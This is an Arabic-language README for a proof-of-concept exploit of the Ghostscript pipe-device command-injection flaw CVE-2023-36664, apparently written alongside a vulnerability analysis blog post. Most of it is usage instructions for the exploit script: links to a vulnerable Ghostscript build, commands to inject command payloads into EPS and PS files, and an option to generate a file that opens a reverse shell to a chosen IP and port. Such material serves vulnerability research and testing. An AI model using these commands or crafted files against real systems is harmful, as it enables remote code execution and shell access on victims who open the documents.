
إثبات المفهوم (PoC) لثغرة حقن الأوامر في Ghostscript (CVE-2023-36664)
تم الكشف عن ثغرة في Ghostscript قبل الإصدار 10.01.2 تؤدي إلى تنفيذ الأوامر (درجة CVSS 9.8).
الوصف الرسمي للثغرة:
يتعامل Artifex Ghostscript حتى الإصدار 10.01.2 بشكل خاطئ مع التحقق من صلاحيات أجهزة الأنابيب (بالبادئة %pipe% أو حرف الأنبوب |).
أصدرت ديبيان نشرة أمنية تذكر إمكانية تنفيذ أوامر عشوائية:
"تم اكتشاف أن Ghostscript، وهو مفسر PostScript/PDF من GPL، لا يتعامل بشكل صحيح مع التحقق من صلاحيات أجهزة الأنابيب، مما قد يؤدي إلى تنفيذ أوامر عشوائية إذا تمت معالجة ملفات مستندات غير صحيحة."
تم إنشاء هذا المستودع لمنشور مدونة تحليل CVE المتاح على مدونة vsociety.
حمّل Ghostscript 10.01.1 من هنا: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 رابط مباشر لملف Windows x64 التنفيذي: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
يمكن أن يحدث الاستغلال عند فتح ملف PS أو EPS، وقد يسمح بتنفيذ الأوامر نتيجة سوء تعامل Ghostscript مع التحقق من صلاحيات أجهزة الأنابيب.
الاستخدام: python3 CVE_2023_36664_exploit.py <input_file> <command>
مثال:
python3 CVE_2023_36664_exploit.py file.eps "calc"
ينشئ هذا ملفًا جديدًا باسم file_injected.eps.
افتح هذا الملف باستخدام Ghostscript لتفعيل الآلة الحاسبة (منذ الإصدار 9.50 يجب عليك أيضًا استخدام الخيار -dNOSAFER):
gs10011w64.exe -dNOSAFER .\file_injected.eps
أمثلة أخرى: أنشئ ملف EPS جديدًا باسم run_calculator.eps مع الحمولة "calc" (تظهر آلة حاسبة جديدة على ويندوز)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
أنشئ ملف EPS جديدًا باسم rev_shell.eps مع عنوان IP مخصص (يشغل شيل عكسي عند تفعيله على Unix)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
أنشئ ملف PS جديدًا باسم malicius.ps مع الحمولة "calc" (تظهر آلة حاسبة جديدة على ويندوز)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
احقن حمولة مخصصة ضارة ("calc") في ملف موجود باسم file.eps (تظهر آلة حاسبة جديدة على ويندوز)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي فقط ولتطوير تقنيات دفاعية فعالة، وليس مخصصًا لاستخدامه في مهاجمة الأنظمة إلا بتفويض صريح. القائمون على المشروع غير مسؤولين أو ملزمين عن سوء استخدام البرنامج. استخدمه بمسؤولية.